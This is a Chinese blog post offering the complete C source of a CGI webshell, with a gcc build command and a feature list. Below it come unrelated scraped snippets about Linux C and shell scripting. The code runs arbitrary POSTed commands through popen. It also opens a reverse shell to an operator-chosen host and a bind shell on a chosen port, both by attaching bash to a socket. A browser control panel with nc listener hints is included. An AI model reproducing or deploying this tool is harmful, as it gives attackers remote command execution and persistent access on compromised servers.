Linux C代码实现cgi shell

C语言实现cgi webshell

#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
 

 
struct get_data {
    char key[100];
    char value[100];
};
 
 
void exec_cmd(void){
    printf("Content-type:text/html\n\n");
    FILE *command;
    int size = atoi(getenv("CONTENT_LENGTH"));
    if(size > 1500) {
        printf("Error> Post Data is very big");
        exit(0);
    }
    char *buffer = malloc(size+1);
    fread(buffer,1,size,stdin);
    command = popen(buffer,"r");
    char caracter;
 
    while((caracter = fgetc(command))){
        if(caracter == EOF) break;
        printf("%c",caracter);
    }
 
    pclose(command);
    free(buffer);
    exit(0);
}
 
int error(char *err){
    perror(err);
    exit(EXIT_FAILURE);
}
 
void parser_get(void){
    printf("Content-type:text/html\n\n");
 
    struct get_data *s;
    char *GET = (char *)getenv("QUERY_STRING");
    int i,number_of_get = 0,size_get = strlen(GET);
 
    if(strlen(GET) > 100)
        exit(0);
 
    s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
 
    int element = 0;
    int positionA = 0;
    int positionB = 0;
    int id = 0;
 
    for(i=0;i<size_get;i++){
        if(GET[i] == ‘=‘){
            id = 1;
            s[element].key[positionA] = ‘\0‘;
            positionB = 0;
            continue;
        }
 
        if(GET[i] == ‘&‘){
            id = 0;
            s[element].key[positionA] = ‘\0‘;
            s[element].value[positionB] = ‘\0‘;
            positionA = 0;
            positionB = 0;
            element++;
            continue;
        }
 
        if(id==0){
            s[element].key[positionA] = GET[i];
            positionA++;
        }
 
        if(id==1){
            s[element].value[positionB] = GET[i];
            positionB++;
        }
 
        if(i == size_get-1 && GET[size_get-1] != ‘&‘){
            s[element].key[positionA] = ‘\0‘;
            s[element].value[positionB] = ‘\0‘;
            element++;
            continue;
        }
 
 
    }
 
    char *host_x = (char *)malloc(100);
    host_x = NULL;
    char *type_x = (char *)malloc(100);
    type_x = NULL;
    int port_x = 0;
 
    for(i=0;i<element;i++){
        if(strcmp(s[i].key,"type")==0)
            type_x = s[i].value;
        else if(strcmp(s[i].key,"host")==0)
            host_x = s[i].value;
        else if(strcmp(s[i].key,"port")==0)
            port_x = atoi(s[i].value);
    }
 
    free(s);
 
    if(type_x == NULL){
        free(type_x);
        free(host_x);
        exit(0);
    }
 
    if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){
        printf("Something is wrong ... !!!");
        free(type_x);
        free(host_x);
        exit(0);
    }
 
    if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){
        printf("You must specify a target host ...");
        free(type_x);
        free(host_x);
        exit(0);
    }
 
    if(strcmp(type_x,"reverse") == 0){
        struct sockaddr_in addr;
        int msocket;
        msocket = socket(AF_INET,SOCK_STREAM,0);
 
        if(msocket < 0){
            printf("<font color=‘red‘>Fail to create socket</font>");
            free(host_x);
            free(type_x);
            exit(0);
        }
 
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port_x);
        addr.sin_addr.s_addr = inet_addr(host_x);
 
        memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
 
        if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
            printf("<font color=‘red‘>Fail to connect</font>\n");
            free(host_x);
            free(type_x);
            exit(0);
        }
 
        printf("<font color=‘006600‘>Connect with sucess !!!</font>\n");
 
        if(fork() == 0){
            close(0); close(1); close(2);
            dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2);
            execl("/bin/bash","bash","-i", (char *)0);
            close(msocket);
            exit(0);
        }
 
        free(host_x);
        free(type_x);
        exit(0);
    } else if (strcmp(type_x,"bind")==0) {
 
        int my_socket, cli_socket;
        struct sockaddr_in server_addr,cli_addr;
 
        if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){
            printf("<font color=‘red‘>Fail to create socket</font>");
            exit(1);
        }
 
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port_x);
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);
 
        int optval = 1;
        setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
 
 
        if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){
            printf("<font color=‘red‘>Fail to bind</font>");
            free(host_x);
            free(type_x);
            exit(1);
        }
 
        if (listen(my_socket, 1) < 0){
            printf("<font color=‘red‘>Fail to listen</font>");
            free(host_x);
            free(type_x);
            exit(1);
        } else {
            printf("<font color=‘006600‘>Listen on port %d</font>\n",port_x);
        }
 
        if(fork() == 0){
            socklen_t tamanho = sizeof(struct sockaddr_in);
 
            if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){
                exit(0);
 
            }
 
            close(0); close(1); close(2);
            dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2);
 
            execl("/bin/bash","bash","-i",(char *)0);
            close(cli_socket);
 
        }
 
    }
    free(host_x);
    free(type_x);
    exit(0);
}
 
void load_css_js(void){
printf("<style type=\"text/css\">\n#page-wrap {\n    margin: 20px auto;\n    width: 750px;\n}\n\nh1 {\n    font-family: Impact, Charcoal, sans-serif;\n    text-shadow: -1px 0 black, 0 1px black,\n     1px 0 black, 0 -1px black;\n    color: gray;\n    border: #00ff00;\n}\n\nbody {\n    background-color: white;\n}\n\ninput[type=\"text\"] {\n    margin-bottom: 10px;\n    border: 1px solid gray;\n    color: black;\n    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n}\n\nhr {\n    color: gray;\n}\n\ninput[type=\"submit\"],input[type=\"button\"] {\n    margin-bottom: 10px;\n    border: 1px solid gray;\n    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n}\n\n#bind_reverse {\n    display:none;\n}\n\nlabel {\n    position: relative;\n    clear: left;\n    float: left;\n    width: 15em;\n    margin-right: 5px;\n    text-align: right;\n    margin-top: 5px;\n}\n\n\ndiv.scroll {\n    border: 1px solid gray;\n    margin-bottom: 10px;\n    color: black;\n    font-family: Tahoma, sans-serif;\n    padding: 5px;\n    width: 745px;\n    height: 295px;\n    overflow: auto;\n    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n}\n\n#cmd_rev {\n    position: absolute;\n    margin-left: 450px;\n    top: 150px;\n    width: 250px;\n    overflow: auto;\n}\n\n#cmd_bin {\n    position: absolute;\n    margin-left: 450px;\n    top: 300px;\n    width: 250px;\n    overflow: auto;\n}\n\n#rev_s {\n    display:inline;\n}\n\n#bind_s {\n    display:inline;\n}\n</style>\n\n<script type=\"text/javascript\">\nfunction exec_cmd(){\n    var Rrequest = new XMLHttpRequest();\n    var cmd_x = document.getElementById(\"xxx\");\n\n    var result = document.getElementById(\"result\");\n\n    if(cmd_x.value == ‘‘) return;\n    if(cmd_x.value == ‘clear‘ || cmd_x.value == ‘reset‘) { result.innerHTML = ‘‘; return; }\n    var vv = cmd_x.value;\n\n    vv = vv.replace(/</g,\"&#60\");\n    vv = vv.replace(/>/g,\"&#62\");\n\n    result.innerHTML += \"<pre><b>\\$</b> \"+vv+\"</pre>\";\n    var bodyx = ‘‘;\n\n    Rrequest.open(\"POST\",window.location.href,true);\n    Rrequest.setRequestHeader(\"Content-type\",\"text/plain\");\n    Rrequest.send(cmd_x.value);\n\n    Rrequest.onreadystatechange = function(){\n        if(Rrequest.status == 200){\n            if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n                var complete_cont = Rrequest.responseText;\n                complete_cont = complete_cont.replace(/</g,\"&#60\");\n                complete_cont = complete_cont.replace(/>/g,\"&#62\");\n                result.innerHTML += ‘<pre>‘+complete_cont+‘</pre>‘;\n                result.scrollTop = result.scrollHeight;\n            }\n        } else {\n            if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n                result.innerHTML += \"<pre><b>error !</b></pre>\";\n                return false;\n            }\n        }\n    }\n}\n\nfunction load_bind(){\n    var change_link = document.getElementById(\"change_link\");\n    var linkz = change_link.innerHTML;\n\n    if(linkz == ‘REVERSE/BIND‘) {\n        change_link.innerHTML = \"COMMAND LINE\";\n        document.getElementById(\"cmd_line\").style.display = ‘none‘;\n        document.getElementById(\"bind_reverse\").style.display = ‘block‘;\n    }\n    \n    else {\n        document.getElementById(\"bind_reverse\").style.display = ‘none‘;\n        document.getElementById(\"cmd_line\").style.display = ‘block‘;\n        change_link.innerHTML = ‘REVERSE/BIND‘;\n    }\n}\n\nfunction update_div(su,xxxd){\n    var status = document.getElementById(xxxd);\n    if(su.value == 0 || su.value == \"\"){\n        status.innerHTML = \"\";\n        return false;\n    }\n    if(xxxd == ‘cmd_rev‘) {\n        status.innerHTML = \"<pre>nc -v -l \"+su.value+\"</pre>\";\n        return true;\n    }\n");
    printf("\tvar server_ip = ‘%s‘;\n",getenv("SERVER_ADDR"));
    printf("\tstatus.innerHTML = \"<pre>nc -v \"+server_ip+\" \"+su.value+\"</pre>\";\n    return true;\n}\n\nfunction change_div(ev,field){\n    if(ev.keyCode == 8 || ev.keyCode == 37 ||\n    ev.keyCode == 38 || ev.keyCode == 39 || \n     ev.keycode == 40 || ev.keyCode == 46){\n        return true;\n    }\n\n    if(ev.charCode < 48 || ev.charCode > 57){\n        return false;\n    }\n    \n    if(field.value > 65535){\n        return false;\n    }\n    return true;\n}\n\nfunction connect_xxx(div_t){\n\n    var get_s = ‘‘;\n    if(div_t == ‘rev_s‘){\n        var host_rev = document.getElementById(\"host_rev\");\n        var port_rev = document.getElementById(\"port_rev\");\n        if(host_rev.value == ‘‘ || port_rev == ‘‘ ) return false;\n        get_s = ‘/?type=reverse&host=‘+host_rev.value+‘&port=‘+port_rev.value;\n    } else if(div_t == ‘bind_s‘){\n        var port_bind = document.getElementById(\"port_bin\");\n        if(port_bin.value == ‘‘) return false;\n        get_s = ‘/?type=bind&port=‘+port_bin.value;\n    }\n\n    var target_div = document.getElementById(div_t);\n    target_div.innerHTML = \"Wait ...\";\n\n    var connect_s = new XMLHttpRequest();\n    connect_s.open(\"GET\",window.location.href+get_s,true);\n    connect_s.timeout = 3000;\n    connect_s.ontimeout = function(){\n        target_div.innerHTML = \"<font color=‘006600‘>Listen OK !!!</font>\"\n}\n\n    connect_s.onreadystatechange = function(){\n        if(connect_s.status == 200){\n            if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n                target_div.innerHTML = connect_s.responseText;\n            }\n        } else {\n            if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n                result.innerHTML += \"<b>error !</b>\";\n                return false;\n            }\n        }\n    }\n\n\n\n    connect_s.send();\n\n\n}\n</script>");
 
}
 
int main(void){
    if(strcmp(getenv("REQUEST_METHOD"),"POST") == 0) exec_cmd();
    if(strcmp(getenv("QUERY_STRING"),"") != 0) parser_get();
    printf("Content-type:text/html\n\n");
 
    printf("<html>\n");
    printf("\t<head>\n\t<meta http-equiv=\"Content-type\" content=\"text/html;charset=UTF-8\">\n");
    printf("\t\t<title> C CGI SHELL =D </title>\n");
    load_css_js();
    printf("\n\t</head>\n");
    printf("\t<body>\n");
printf(" \n    <div id=\"page-wrap\">\n    <h1>C - CGI SHELL</h1><pre>C0d3r: <b>webshell</b> | <a id=‘change_link‘ href=‘javascript:load_bind()‘>REVERSE/BIND</a></pre>\n    <div id=‘cmd_line‘>\n    <input type=\"text\" style=\"width:300px;\" id=\"xxx\" onkeyup=\"if(event.keyCode == 13) document.getElementById(‘lol‘).click()\">\n    <input id=\"lol\" type=\"button\" value=\"Run Command\" onclick=\"exec_cmd()\">br/>\n    <div class=\"scroll\" id=‘result‘></div>\n    </div>\n    <div id=‘bind_reverse‘>\n        <pre><b>Reverse Connection: <div id=‘rev_s‘><font color=‘red‘>Stop</font></div></b></pre>\n        <pre><label>Host/IP:</label><input type=\"text\" id=‘host_rev‘/></pre>\n        <pre><label>Port:</label><input type=\"text\" id=‘port_rev‘ onkeypress=‘return change_div(event,this);‘ onKeyUp=‘update_div(this,\"cmd_rev\");‘ /></pre>\n        <input type=‘button‘ value=‘Start Connection‘ style=\"margin-left: 15.5em;\" onclick=\"connect_xxx(‘rev_s‘)\"/>\n        <div id=‘cmd_rev‘></div>\n        <hr>\n        <pre><b>Bind Connection: <div id=‘bind_s‘><font color=‘red‘>Stop</font></div></b></pre>\n        <pre><label>Port To Listen:</label><input type=\"text\" id=‘port_bin‘ style=\"width:50px\" onkeypress=‘return change_div(event,this);‘ onKeyUp=‘update_div(this,\"cmd_bin\");‘></pre>\n        <input type=‘button‘ value=‘Start Connection‘ style=\"margin-left: 15.5em;\" onclick=\"connect_xxx(‘bind_s‘)\"/>\n        <div id=‘cmd_bin‘></div>\n    </div>\n    </div>\n    </body>\n</html>\n");
    return 0;
}

编译:
gcc shell.c -o shell.cgi

功能:
1.反弹获得shell(target作为客户端)

2.监听获得shell(target作为服务端)

3.命令行执行

时间: 2024-12-17 19:25:37

Linux C代码实现cgi shell的相关文章

linux c程序中获取shell脚本输出的实现方法

linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作.比如实现一个ping程序来测试网络的连通性,实现ping函数需要写上200~300行代码,为什么不能直接调用系统的ping命令呢?通常在程序中通过 system函数来调用shell命令.但是,system函数仅返回命令是否执行成功,而我们可能需要获得shell命令在控制台上输出的结果.例如,执行外部

Linux问题:Crontab 执行shell脚本时相对路径的问题,不能识别。

问题描述:在linux中的直接执行shell脚本可以用相对路径找到文件,但是如果通过计划任务crontab执行shell脚本时,却不能通过相对路径找到文件! 例子: shell脚本文件代码~ #! /bin/sh Logfile = './1.txt'; date >> $Logfile; echo '------'; 直接执行shell脚本,可以在1.txt文件中看到执行结果,但是如果用crontab计划任务去执行,却在1.txt中看不到执行结果.换成绝对路径就可以,代码如下 #! /bin

Linux C代码分析文件权限

判断/home下有没有文件aaa.txt,如果存在则提示错误,如果文件不存在则创建且文件最终权限为644. #include<stdio.h> #include<fcntl.h> int main(void){ int fd; fd = open("/home/aaa.txt",O_WRONLY | O_CREAT | O_EXCL,0666); if (fd == -1) printf ("Error: File exists.\n" );

Linux之进程管理及Shell脚本

使用!来调用过往命令 !! 重复执行上一条指令 !a 重复执行上一条以a为首的指令 !nubmer 重复执行上一条在history表中记录号码为number的指令 !-number重复执行前第number条指令 ailas abc='cd xxxxxxxxxxx/xxxxxxxx/xxxxxxxxxxxxx' unalias abc " "将一串字符当成字符串来看,可以转译特殊字符 ' '将一串字符当成字符串来看,无法转译特殊字符 ·能够返回命令执行的结果 echo `uname -a

linux下实现自己的shell解释器

实现一个自己的shell解释器,其原理比较简单,首先获取用户的输入,通过fork()函数获取两个进程(父子进程),子进程通过execvp()函数继续进行,此时父进程一直在等待子进程的结束,待都结束了就执行了一次shell解释. 1 /*============================================ 2 > Copyright (C) 2014 All rights reserved. 3 > FileName:my_shell.c 4 > author:dona

大杀招之使用QEMU调试Linux内核代码

Linux内核代码的调试非常麻烦,一般都是加printk, 或者用JTAG调试. 这里的方法是用QEMU来调试Linux内核.因为QEMU自己实现了一个gdb server, 所以可以非常方便的使用gdb来调内核. 这对内核的学习也非常有帮助. 为了尽量不多花时间在QEMU设置上,这里直接使用以下的内核image: http://free-electrons.com/community/demos/qemu-arm-directfb/ 1. QEMU的安装 这个可以自己去QEMU的官网下载编译,

Linux自动安装JDK的shell脚本

Linux自动安装JDK的shell脚本 A:本脚本运行的机器,Linux B:待安装JDK的机器, Linux 首先在脚本运行的机器A上确定可以ssh无密码登录到待安装jdk的机器B上,然后就可以在A上运行本脚本: $ ./install-jdk.sh B的IP or: $ ./install-jdk.sh "B的IP" "JDK的URI" 就可以在机器B上安装JDK.jdk使用的tar包需要用户自己设定DEFAULT_JDK_SRC=?,保证可以wget得到即可

手把手教你调试Linux C++ 代码

手把手教你调试Linux C++ 代码 软件调试本身就是一项相对复杂的活动,他不仅要求调试者有着清晰的思路,而且对调试者本身的技能也有很高的要求.Windows下Visual Studio为我们做了很多的工作,使初学者基本上可以获得一个所见即所得的调试体验,相对来说也比较容易上手.然而在linux平台下,一切都显得有些不同,倒不是说GDB有多难,只是对于习惯了visual studio的人来说刚开始会有些不适应.然而对于那些在windows 平台下使用windbg调试代码的人来说,情况会好很多,

使用QEMU调试Linux内核代码

Linux内核代码的调试非常麻烦,一般都是加printk, 或者用JTAG调试.这里的方法是用QEMU来调试Linux内核.因为QEMU自己实现了一个gdb server, 所以可以非常方便的使用gdb来调内核. 这对内核的学习也非常有帮助. 为了尽量不多花时间在QEMU设置上,这里直接使用以下的内核image: http://free-electrons.com/community/demos/qemu-arm-directfb/ 1,QEMU的安装 这个可以自己去QEMU的官网下载编译,如果